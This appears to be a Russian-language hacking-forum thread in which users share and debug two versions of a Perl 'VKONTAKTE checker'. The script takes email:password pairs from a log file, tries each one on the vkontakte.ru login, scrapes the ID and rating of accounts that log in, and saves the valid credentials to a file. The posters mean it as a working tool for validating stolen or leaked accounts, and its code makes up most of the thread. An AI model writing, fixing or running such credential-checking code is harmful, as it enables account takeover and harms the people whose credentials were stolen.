Это либо при копировании сюда глюкнуло. Либо защита от детишек. хз) но там регуляру можно и сократить как я написал, он и так все цифры с Id возьмет =)
Чуток переделанный код Code: #!/usr/bin/perl # VKONTAKTE cheker # Original author Xszz.AoH # Modified by svesve # tnx to a4at members who help me with perl ;-) use strict; use LWP::UserAgent; use HTTP::Cookies; open (FILE , '<logs.txt'); my @f = <FILE>; chomp @f; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); open (OUT , '>>IDS_rate.txt'); while (@f) { my ($mail, $pass) = split(/:/, shift(@f)); my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string; my $suc = $req =~ /302 Found/; if ($suc ) { $req = $ua->get('http://vkontakte.ru/index.php')->as_string; my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/; my $idd=$2; my $res = $1 if $req=~m/<div id="percent">(.{1,4})</; print "[rate=$res]:[id=$idd]:$mail:$pass\n"; if (!$idd) { print "Account deleted \n"; } print OUT $res.":".$idd.":".$mail.":".$pass."\n"; } else{print"[-]bad login or password \n";} } close OUT; close FILE;
Вот скрипт, я его немного сделал под себя: Code: #!/usr/bin/perl # VKONTAKTE cheker # Original author Xszz.AoH # Modified by svesve # tnx to a4at members who help me with perl use strict; use LWP::UserAgent; use HTTP::Cookies; open (FILE , '<logs.txt'); my @f = <FILE>; chomp @f; my $ua = LWP::UserAgent->new; my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)'); $ua->cookie_jar($cookies); open (OUT , '>>IDS_rate.txt'); while (@f) { my ($mail, $pass) = split(/ : /, shift(@f)); my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string; my $suc = $req =~ /302 Found/; if ($suc ) { $req = $ua->get('http://vkontakte.ru/index.php')->as_string; my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)/; my $idd=$2; $req = $ua->get('http://vkontakte.ru/rate.php')->as_string; my $res = $1 if $req=~m/width:100px">(.{1,4})</; print "[rate=$res]:[id=$idd]:$mail:$pass\n"; if (!$idd) { print "Account deleted \n"; } print OUT $mail.":".$pass."\n"; } else{print"[-]bad login or password \n";} } close OUT; close FILE; Посматрите, что нетак, а то сеня утром все было ок, а щас пишет что у всех акках пас или лог не верный, заранее спс.
кароче, с моим скриптом все понятно! вобшем он странный какой-то, пишеь его он пашет опред время а потом не пшет, пишешь тоже самое пашет какое-то время а потом та же история...